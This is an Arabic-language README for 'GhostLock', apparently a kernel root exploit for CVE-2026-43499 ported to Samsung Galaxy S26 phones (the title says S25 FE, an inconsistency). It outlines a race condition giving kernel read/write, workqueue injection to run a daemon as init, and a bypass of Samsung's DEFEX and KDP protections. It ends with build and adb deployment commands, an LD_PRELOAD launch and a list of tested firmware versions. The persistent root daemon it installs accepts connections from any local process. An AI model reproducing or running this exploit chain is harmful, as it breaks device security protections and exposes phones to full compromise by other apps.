
# GhostLock (CVE-2026-43499) لهاتف Galaxy S25 FE (قيد التطوير)
تم نقل CVE-2026-43499 إلى سلسلة Samsung Galaxy S26 — Android 16 / GKI 6.12. ملف ثنائي واحد، ثلاثة أسطر نواة، مطابقة ديناميكية للمعلمات في وقت التشغيل: يغطي نظريًا سلسلة S26 بأكملها دون الحاجة إلى تجميع لكل إصدار.
معظم جهود نقل GhostLock تستهدف جهازًا واحدًا أو برنامجًا ثابتًا واحدًا. هذا المستودع هو نقل جديد يعيد كتابة كل آلية لهدف S26 ومن المتوقع أن يغطي العائلة بأكملها.
أثناء صيانتي لـ snothin/CyberMeowfia، وجدت أن قناة pipe physrw الأصلية غير مستقرة (كانت تقطع الشبكة)، لذا تخليت عن هذا المسار واستكشفت بدائل. لاحقًا اكتشفت أن monovibe قد تقدم أبعد على الطريق الذي كنت أستكشفه، واعتمدت النهج، وبعد تصحيح أخطاء متكرر تشكل هذا المستودع.
uid=0(root) context=u:r:kernel:s0؛
جذر دائم عبر su_daemon على مقبس يونكس مجرد.work_struct على
system_unbound_wq تكون وظيفته call_usermodehelper_exec_work، لذا تنفذ النواة
برنامجنا الخفي ببيانات اعتماد init. حارس EL2 الخاص بـ KDP على صفحات بيانات الاعتماد
لا يتم تفعيله أبدًا.pselect + سباق futex PI
→ كتابة qword محاذاة واحدة لكل جولة
→ حامل attr (وصفان misc مزيفان)
واصف المتحكم يعيد توجيه مؤشر البيانات
واصف البيانات يقرأ/يكتب أي عنوان نواة
→ أوراكل الانزلاق (tracefs)
→ جذر UMH (حقن workqueue)
system_unbound_wq
عاصفة فتح/إغلاق ptmx توقظ عاملًا
النواة تنفذ البرنامج الخفي ببيانات اعتماد init
→ تجاوز DEFEX (bind-mount)
→ su_daemon يستمع على /data/local/tmp/temp_su.sock
تتم مطابقة المعلمات حسب سطر النواة (ثلاثة أسطر: cn, intl, exynos)، وليس
حسب إصدار فردي. إصدارات OTA غير المعروفة تتراجع إلى أقرب سطر معروف حسب الطراز
و CSC. الطرازات غير المعروفة تمامًا يتم رفضها (إغلاق عند الفشل). قائمة الإصدارات
المدمجة هي المرجع في exploit/src/params_table.c.
انظر PORTING.md للمعلمات المطلوبة عند النقل إلى جهاز
أو برنامج ثابت جديد.
يتطلب Android NDK (r26+). فقط شغّل:
cd exploit
make preload
# ينتج build/bin/preload.so (الاستغلال) و build/embed/su_daemon_aarch64_pie (البرنامج الخفي المدمج)
ادفع preload.so و su_daemon_aarch64_pie و ksud إلى الجهاز (شغّل من جلسة adb
shell، uid 2000):
adb push exploit/build/bin/preload.so /data/local/tmp/
adb push exploit/build/embed/su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-root
adb push <ksud> /data/local/tmp/ksud
adb shell chmod 755 /data/local/tmp/cve-2026-43499-root /data/local/tmp/ksud
# محاولة واحدة:
adb shell "env LD_PRELOAD=/data/local/tmp/preload.so sh"
الاستغلال احتمالي (سباق) وعادة ما يحتاج محاولات متكررة. عند
تشغيل ناجح، يستمع su_daemon على /data/local/tmp/temp_su.sock، ويمكن لأي
عملية محلية الاتصال.
حارس ادعاء الإقلاع (/data/local/tmp/ghostlock-boot.log) يسجل نتيجة
تشغيل كل إقلاع؛ تشغيل سلسلة كاملة ثانية في نفس الإقلاع يتم رفضه (يمكن أن
يعطل الجهاز). امسح الملف أو اضبط BOOT_FORCE=1 للتجاوز.
exploit/src/kernelsnitch/)هذا المستودع مُصدر بموجب رخصة Apache-2.0؛ انظر LICENSE للنص الكامل و NOTICE لمصدر الكود.
| الطراز | الاسم الرمزي للجهاز | الإصدارات المختبرة |
|---|
| SM-S942x (S26 Snapdragon) | m1q | S9420ZCS4AZG1, S942QOPU1AZDE, S942U1UES4AZG3, S942USQS4AZG3 |
| SM-S947x (S26+ Snapdragon) | m2q | S9470ZCS4AZG1, S947USQS4AZG3 |
| SM-S9480 (S26 Ultra CN) | m3q | S9480ZCS3AZF1, S9480ZCS4AZG1 (إصدار مختبر) |
| SM-S948x (S26 Ultra) | m3q | S9480ZHS4AZG1, S948BXXS4AZG5/6, S948NKSS4AZG3, S948U1UES2AZE1, S948USQS4AZG3 |
| SM-S942B (S26 Exynos) | m1s | S942BXXS4AZG5 |
| SM-S947B (S26+ Exynos) | m2s | S947BXXS3AZF1, S947BXXS4AZG5 |